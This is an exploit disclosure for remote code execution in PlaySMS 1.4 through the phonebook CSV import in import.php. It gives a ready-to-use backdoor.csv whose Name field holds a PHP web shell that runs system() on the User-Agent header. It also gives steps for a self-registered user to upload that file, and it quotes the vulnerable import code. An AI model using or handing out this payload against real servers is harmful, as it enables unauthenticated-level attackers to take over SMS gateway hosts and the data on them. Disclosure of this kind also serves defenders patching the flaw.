PlaySMS 1.4 - 'import.php' Remote Code Execution

# Exploit Title: PlaySMS 1.4 Remote Code Execution using Phonebook import Function in import.php
# Date: 21-05-2017
# Software Link: https://playsms.org/download/
# Version: 1.4
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/
# Category: webapps

1. Description

Code Execution using import.php

     We know import.php accept file and just read content
    not stored in server. But when we stored payload in our backdoor.csv
    and upload to phonebook. Its execute our payload and show on next page in field (in NAME,MOBILE,Email,Group COde,Tags) accordingly .

    In My case i stored my vulnerable code  in my backdoor.csv files's Name field .

    But There is one problem in execution. Its only execute in built function and variable which is used in application.

    That why the server not execute our payload directly. Now i Use "<?php $a=$_SERVER['HTTP_USER_AGENT']; system($a); ?>" in name field and change our user agent to any command which u want to execute command. Bcz it not execute <?php system("id")?> directly .

Example of my backdoor.csv file content
----------------------MY FILE CONTENT------------------------------------
Name												Mobile	Email	Group code	Tags
<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>	22

--------------------MY FILE CONTENT END HERE-------------------------------



 For More Details : www.touhidshaikh.com/blog/

 For Video Demo : https://www.youtube.com/watch?v=KIB9sKQdEwE


2. Proof of Concept

Login as regular user (created user using index.php?app=main&inc=core_auth&route=register):

Go to :
http://127.0.0.1/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=list


And Upload my malicious File.(backdoor.csv)
and change our User agent.


 This is Form For Upload Phonebook.
----------------------Form for upload CSV file ----------------------
<form action=\"index.php?app=main&inc=feature_phonebook&route=import&op=import\" enctype=\"multipart/form-data\" method=POST>
" . _CSRF_FORM_ . "
<p>" . _('Please select CSV file for phonebook entries') . "</p>
<p><input type=\"file\" name=\"fnpb\"></p>
<p class=text-info>" . _('CSV file format') . " : " . _('Name') . ", " . _('Mobile') . ", " . _('Email') . ", " . _('Group code') . ", " . _('Tags') . "</p>
<p><input type=\"submit\" value=\"" . _('Import') . "\" class=\"button\"></p>
</form>
------------------------------Form ends ---------------------------



-------------Read Content and Display Content-----------------------

   case "import":
		$fnpb = $_FILES['fnpb'];
		$fnpb_tmpname = $_FILES['fnpb']['tmp_name'];
		$content = "
			<h2>" . _('Phonebook') . "</h2>
			<h3>" . _('Import confirmation') . "</h3>
			<div class=table-responsive>
			<table class=playsms-table-list>
			<thead><tr>
				<th width=\"5%\">*</th>
				<th width=\"20%\">" . _('Name') . "</th>
				<th width=\"20%\">" . _('Mobile') . "</th>
				<th width=\"25%\">" . _('Email') . "</th>
				<th width=\"15%\">" . _('Group code') . "</th>
				<th width=\"15%\">" . _('Tags') . "</th>
			</tr></thead><tbody>";
		if (file_exists($fnpb_tmpname)) {
			$session_import = 'phonebook_' . _PID_;
			unset($_SESSION['tmp'][$session_import]);
			ini_set('auto_detect_line_endings', TRUE);
			if (($fp = fopen($fnpb_tmpname, "r")) !== FALSE) {
				$i = 0;
				while ($c_contact = fgetcsv($fp, 1000, ',', '"', '\\')) {
					if ($i > $phonebook_row_limit) {
						break;
					}
					if ($i > 0) {
						$contacts[$i] = $c_contact;
					}
					$i++;
				}
				$i = 0;
				foreach ($contacts as $contact) {
					$c_gid = phonebook_groupcode2id($uid, $contact[3]);
					if (!$c_gid) {
						$contact[3] = '';
					}
					$contact[1] = sendsms_getvalidnumber($contact[1]);
					$contact[4] = phonebook_tags_clean($contact[4]);
					if ($contact[0] && $contact[1]) {
						$i++;
						$content .= "
							<tr>
							<td>$i.</td>
							<td>$contact[0]</td>
							<td>$contact[1]</td>
							<td>$contact[2]</td>
							<td>$contact[3]</td>
							<td>$contact[4]</td>
							</tr>";
						$k = $i - 1;
						$_SESSION['tmp'][$session_import][$k] = $contact;
					}
				}

------------------------------code ends ---------------------------


Bingoo.....


*------------------My Friends---------------------------*
|Pratik K.Tejani, Rehman, Taushif,Charles Babbage  |
*---------------------------------------------------*